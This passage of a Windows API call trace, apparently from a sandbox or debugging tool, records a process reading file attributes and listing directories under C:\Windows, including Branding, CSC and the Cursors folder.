	[0086.416] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding\\Basebrd" (normalized: "c:\\windows\\branding\\basebrd"), fInfoLevelId=0x0, lpFileInformation=0x12692918 | out: lpFileInformation=0x12692918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d0ecf05, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.416] CreateFileW (lpFileName="C:\\Windows\\Branding\\Basebrd" (normalized: "c:\\windows\\branding\\basebrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.416] FindFirstFileW (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d0ecf05, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.417] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll"), fInfoLevelId=0x0, lpFileInformation=0x12692a08 | out: lpFileInformation=0x12692a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf065ffff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xf065ffff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb564860, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00)) returned 1
	[0086.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\en-US" (normalized: "c:\\windows\\branding\\basebrd\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x12692a58 | out: lpFileInformation=0x12692a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa466c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d113174, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.417] CreateFileW (lpFileName="C:\\Windows\\Branding\\Basebrd\\en-US" (normalized: "c:\\windows\\branding\\basebrd\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.417] FindFirstFileW (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\en-US\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa466c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d113174, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.417] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding\\Basebrd\\en-US\\basebrd.dll.mui" (normalized: "c:\\windows\\branding\\basebrd\\en-us\\basebrd.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692af8 | out: lpFileInformation=0x12692af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66a29a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd85a5ff, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd66a29a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0086.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding\\ShellBrd" (normalized: "c:\\windows\\branding\\shellbrd"), fInfoLevelId=0x0, lpFileInformation=0x12692b48 | out: lpFileInformation=0x12692b48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d00806b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.418] CreateFileW (lpFileName="C:\\Windows\\Branding\\ShellBrd" (normalized: "c:\\windows\\branding\\shellbrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.418] FindFirstFileW (in: lpFileName="C:\\Windows\\Branding\\ShellBrd\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9d00806b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.418] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding\\ShellBrd\\shellbrd.dll" (normalized: "c:\\windows\\branding\\shellbrd\\shellbrd.dll"), fInfoLevelId=0x0, lpFileInformation=0x12692be8 | out: lpFileInformation=0x12692be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf79f8344, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xf79f8344, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeba99880, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x185e00)) returned 1
	[0086.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\CSC" (normalized: "c:\\windows\\csc"), fInfoLevelId=0x0, lpFileInformation=0x12692c38 | out: lpFileInformation=0x12692c38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61766720, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61766720, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.418] CreateFileW (lpFileName="C:\\Windows\\CSC" (normalized: "c:\\windows\\csc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.418] FindFirstFileW (in: lpFileName="C:\\Windows\\CSC\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61766720, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61766720, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.418] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\CSC\\v2.0.6" (normalized: "c:\\windows\\csc\\v2.0.6"), fInfoLevelId=0x0, lpFileInformation=0x12692cd8 | out: lpFileInformation=0x12692cd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61766720, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x6178c880, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6178c880, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0086.418] CreateFileW (lpFileName="C:\\Windows\\CSC\\v2.0.6" (normalized: "c:\\windows\\csc\\v2.0.6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.419] FindFirstFileW (in: lpFileName="C:\\Windows\\CSC\\v2.0.6\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0086.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors" (normalized: "c:\\windows\\cursors"), fInfoLevelId=0x0, lpFileInformation=0x12692d28 | out: lpFileInformation=0x12692d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1
	[0086.419] CreateFileW (lpFileName="C:\\Windows\\Cursors" (normalized: "c:\\windows\\cursors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.419] FindFirstFileW (in: lpFileName="C:\\Windows\\Cursors\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.423] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_arrow.cur" (normalized: "c:\\windows\\cursors\\aero_arrow.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2058 | out: lpFileInformation=0x127b2058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe248f7e3, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xe248f7e3, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xe24b5941, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_arrow_l.cur" (normalized: "c:\\windows\\cursors\\aero_arrow_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b20a8 | out: lpFileInformation=0x127b20a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa307c749, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa307c749, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe24b5941, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_arrow_xl.cur" (normalized: "c:\\windows\\cursors\\aero_arrow_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b20f8 | out: lpFileInformation=0x127b20f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30a28a6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30a28a6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe24dba9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_busy.ani" (normalized: "c:\\windows\\cursors\\aero_busy.ani"), fInfoLevelId=0x0, lpFileInformation=0x127b2148 | out: lpFileInformation=0x127b2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa340e801, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa340e801, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2501bfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520)) returned 1
	[0086.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_busy_l.ani" (normalized: "c:\\windows\\cursors\\aero_busy_l.ani"), fInfoLevelId=0x0, lpFileInformation=0x127b2198 | out: lpFileInformation=0x127b2198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343495e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa343495e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2501bfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520)) returned 1
	[0086.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_busy_xl.ani" (normalized: "c:\\windows\\cursors\\aero_busy_xl.ani"), fInfoLevelId=0x0, lpFileInformation=0x127b21e8 | out: lpFileInformation=0x127b21e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa345aabb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa345aabb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2527d5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520)) returned 1
	[0086.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_ew.cur" (normalized: "c:\\windows\\cursors\\aero_ew.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2238 | out: lpFileInformation=0x127b2238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30a28a6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30a28a6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2527d5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_ew_l.cur" (normalized: "c:\\windows\\cursors\\aero_ew_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2288 | out: lpFileInformation=0x127b2288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30c8a03, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30c8a03, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe254deb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_ew_xl.cur" (normalized: "c:\\windows\\cursors\\aero_ew_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b22d8 | out: lpFileInformation=0x127b22d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30eeb60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30eeb60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe254deb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_helpsel.cur" (normalized: "c:\\windows\\cursors\\aero_helpsel.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2328 | out: lpFileInformation=0x127b2328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30eeb60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa30eeb60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2574017, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_helpsel_l.cur" (normalized: "c:\\windows\\cursors\\aero_helpsel_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2378 | out: lpFileInformation=0x127b2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa313ae1a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa313ae1a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2574017, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_helpsel_xl.cur" (normalized: "c:\\windows\\cursors\\aero_helpsel_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b23c8 | out: lpFileInformation=0x127b23c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3160f77, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3160f77, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe259a175, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_link.cur" (normalized: "c:\\windows\\cursors\\aero_link.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2418 | out: lpFileInformation=0x127b2418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3160f77, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3160f77, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe25c02d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_link_l.cur" (normalized: "c:\\windows\\cursors\\aero_link_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2468 | out: lpFileInformation=0x127b2468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31870d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31870d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe25c02d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_link_xl.cur" (normalized: "c:\\windows\\cursors\\aero_link_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b24b8 | out: lpFileInformation=0x127b24b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31870d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31870d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe260c58f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_move.cur" (normalized: "c:\\windows\\cursors\\aero_move.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2508 | out: lpFileInformation=0x127b2508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31ad231, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31ad231, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26326ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_move_l.cur" (normalized: "c:\\windows\\cursors\\aero_move_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2558 | out: lpFileInformation=0x127b2558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31ad231, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31ad231, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26326ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_move_xl.cur" (normalized: "c:\\windows\\cursors\\aero_move_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b25a8 | out: lpFileInformation=0x127b25a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31d338e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31d338e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26f0dc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_nesw.cur" (normalized: "c:\\windows\\cursors\\aero_nesw.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b25f8 | out: lpFileInformation=0x127b25f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31d338e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31d338e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe26f0dc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_nesw_l.cur" (normalized: "c:\\windows\\cursors\\aero_nesw_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2648 | out: lpFileInformation=0x127b2648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31f94eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31f94eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2716f21, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_nesw_xl.cur" (normalized: "c:\\windows\\cursors\\aero_nesw_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2698 | out: lpFileInformation=0x127b2698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31f94eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa31f94eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe273d07f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_ns.cur" (normalized: "c:\\windows\\cursors\\aero_ns.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b26e8 | out: lpFileInformation=0x127b26e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa321f648, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa321f648, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27631dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_ns_l.cur" (normalized: "c:\\windows\\cursors\\aero_ns_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2738 | out: lpFileInformation=0x127b2738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa321f648, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa321f648, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27631dd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_ns_xl.cur" (normalized: "c:\\windows\\cursors\\aero_ns_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2788 | out: lpFileInformation=0x127b2788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32457a5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32457a5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe278933b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_nwse.cur" (normalized: "c:\\windows\\cursors\\aero_nwse.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b27d8 | out: lpFileInformation=0x127b27d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa326b902, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa326b902, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27af499, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
